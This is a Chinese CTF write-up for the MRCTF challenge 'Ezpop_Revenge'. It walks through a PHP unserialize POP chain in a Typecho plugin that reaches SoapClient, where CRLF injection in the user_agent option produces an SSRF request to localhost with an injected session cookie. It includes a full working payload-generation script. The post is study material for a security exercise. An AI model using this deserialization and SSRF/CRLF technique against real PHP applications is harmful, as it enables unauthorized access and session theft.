从ctf中学习利用SoapClient类的SSRF+CRLF攻击

  • A+
所属分类:逆向工程

soap介绍

SOAP 是基于 XML 的简易协议,可使应用程序在 HTTP 之上进行信息交换。

或者更简单地说:SOAP 是用于访问网络服务的协议。

产生漏洞的原因

PHP 的 SOAP 扩展可以用来提供和使用 Web Services,在 SoapClient 中,可以看到有这样的用法,

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

在$options的介绍中,有这样一句话

The user_agent option specifies string to use in User-Agent header.

可以使用user_agent选项定义User-Agent头

如何利用User-Agent进行CRLF漏洞?

因为User-Agent的http header位置正好在Content-Type 和 Content-Length这些之上,所以可以进行覆盖,达成CRLF漏洞。关于CRLF漏洞可以看这篇文章

https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

Ezpop_Revenge

考点

反序列化pop链构造,SSRF

解题过程

www.zip老套路拿到源码,进行分析,先找入口,直接全局搜索MRCTF就能找到关键代码

从ctf中学习利用SoapClient类的SSRF+CRLF攻击

usr/plugins/HelloWorld/Plugin.php

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}

class HelloWorld_Plugin implements Typecho_Plugin_Interface
{
    public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }
}

以及flag.php

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?nonly localhost can get flag!";
?>

可以看到Plugin.php中如果有$_REQUEST['admin']就会输出session,并且$_SERVER['REMOTE_ADDR']==="127.0.0.1"的话,flag也是在session中的。

HelloWorld_DB__wakeup()方法内实例化了Typecho_Db类,查看/var/Typecho/Db.php内容

class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    
{
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }
}

代码长就只贴关键的了,

Typecho_Db_Exception类在/var/Typecho/Db/Query.php中,这里有一个//__toString()的注释,直接看__toString函数里的内容

    public function __construct(Typecho_Db_Adapter $adapter, $prefix)
    
{
        $this->_adapter = &$adapter;
        $this->_prefix = $prefix;

        $this->_sqlPreBuild = self::$_default;
    }
        public function __toString()
    
{
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
    }

假设我们把_adapter实例化为SoapClient,在调用parseSelect这个不存在的方法时,会自动调用_call方法,就用上文的方法来执行

public SoapClient::__call ( string $function_name , array $arguments )
case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);

pop链

  • 反序列化位于/usr/plugins/HelloWord/Plugin.php中的HelloWorld_DB类,触发__wakeup(),实例化Typecho_Db

  • 位于/var/Typecho/Db.php跟进Typecho_Db类,传输的$this->coincidence['hello']__construct的$adapterName参数

  • $this->coincidence['hello']实例化Typecho_Db_Query对象,控制其中的$adapterName
    $adapterName拼接到字符串中,触发__tostring

  • 私有变量$_adapter为soap类来本地访问flag.php

  • 在调用parseSelect这个不存在的方法时,会自动调用_call方法,完成反序列化

想要带SESSION出来,需要传PHPSESSID,这里用CRLF漏洞来执行。只要在UA后加上rnCookie: PHPSESSID=xxx就能为http头添加一个新的Cookie字段,这样就能带上session了。

构造脚本

<?php

class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;

    public function __construct()
    
{
        $target = 'http://127.0.0.1/flag.php';
        $headers = array(
            'X-Forwarded-For: 127.0.0.1',
            'Cookie: PHPSESSID=6m5gros2iar5ds6amiua24mgn1'
        );
        $b = new SoapClient(null,array('location' => $target,'user_agent'=>'aaaa^^'.join('^^',$headers),'uri'      => "aaab"));
        $this->_sqlPreBuild =array("action"=>"SELECT");
        $this->_adapter = $b;
    }
}


class HelloWorld_DB
{
    private $coincidence;

    public function __construct()
    
{
        $this->coincidence = ["hello" => new Typecho_Db_Query()];
    }
}

$a = new HelloWorld_DB();
$aaa = serialize($a);

这时候我们把结果s改为S,并添加0

再进行

$aaa = str_replace('^^',"rn",$aaa);
echo base64_encode($aaa);

不用带上post内容再重新访问页面就可以了

从ctf中学习利用SoapClient类的SSRF+CRLF攻击

小结

在这个题目中,主要用到的是替换cookie以及内网的功能,可以更多使用ssrf来打内容,通过CRLF的,可以执行其他操作包括sql注入,命令执行,也是很大的攻击面,除了php,soap还有其他利用方式需要继续学习。


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: